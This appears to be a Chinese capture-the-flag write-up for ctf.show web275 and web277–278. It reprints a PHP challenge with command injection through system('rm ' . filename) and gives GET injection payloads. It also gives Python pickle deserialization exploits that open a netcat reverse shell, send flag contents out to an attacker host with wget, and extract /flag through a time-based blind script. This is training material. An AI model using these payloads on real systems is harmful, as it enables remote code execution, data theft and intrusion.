web275
这道题和序列化一点关系都没有
整个代码并没有说filename(f)
怎么传参只有fn
并且屏蔽了flag
highlight_file(__FILE__);
class filter{
public $filename;
public $filecontent;
public $evilfile=false;
public function __construct($f,$fn){
$this->filename=$f;
$this->filecontent=$fn;
}
public function checkevil(){
if(preg_match('/php|\.\./i', $this->filename)){
$this->evilfile=true;
}
if(preg_match('/flag/i', $this->filecontent)){
$this->evilfile=true;
}
return $this->evilfile;
}
public function __destruct(){
if($this->evilfile){
system('rm '.$this->filename);
}
}
}
if(isset($_GET['fn'])){
$content = file_get_contents('php://input');
$f = new filter($_GET['fn'],$content);
if($f->checkevil()===false){
file_put_contents($_GET['fn'], $content);
copy($_GET['fn'],md5(mt_rand()).'.txt');
unlink($_SERVER['DOCUMENT_ROOT'].'/'.$_GET['fn']);
echo 'work done';
}
}else{
echo 'where is flag?';
}
$content = file_get_contents('php://input')
$f = new filter($_GET['fn'],$content);
public function __destruct(){
if($this->evilfile){
system('rm '.$this->filename);
}
}
}
这个魔术方法肯定会执行,因为脚本没有被打断,那么我们利用闭合直接RCE
GET :
?fn=php;ls
system('rm php;ls');
?fn=php;tac flag.php
system('rm php;tac flag.php');
web277–web278
pickle序列化,EXP
弹shell
import pickle
import base64
class rce():
def __reduce__(self):
return (eval,("__import__('os').popen('nc ip port -e /bin/sh').read()"))
c=rce()
c=pickle.dumps(c)
print(base64.b64encode(c))
import os
import pickle
import base64
class RCE():
def __reduce__(self):
return (os.popen,('wget http://ip:port/`cat f*`'))
print(base64.b64encode(pickle.dumps(RCE())))
这个就属于外带内容了,但是这个是要在Linux运行才能达到目的
因为 windows 执行 os.system 的时候 opcode 开头是 nt, 而 linux 的开头是 posix
import requests
import time
import string
import pickle
import base64
result = ""
str = "_-{}" + string.ascii_letters + string.digits # 大小写字母和数字
url = "http://3b97faef-8358-4e00-9e5d-57f8ae58eaa5.challenge.ctf.show/backdoor?data="
payload = "__import__('os').popen('if [ `cat /flag|cut -c {0}` == {1} ];then sleep 3;fi').read()"
class Rce():
def __init__(self, payload):
self.code = payload
def __reduce__(self):
return (eval, (self.code,))
length = 50 # length长度
key = 0
for j in range(1, length):
if key == 1:
break
for n in str:
rser = bytes.decode(base64.b64encode(pickle.dumps(Rce(payload.format(j, n)))))
target = url + rser
# print(target)
try:
requests.get(target, timeout=(2.5, 2.5))
except:
result = result + n
print(result)
break
if n == '9':
key = 1
break # 添加break以跳出当前的内层循环
这个盲打必须是http才能成功不然是不会成功的,当然性别比远没有弹shell高,因为慢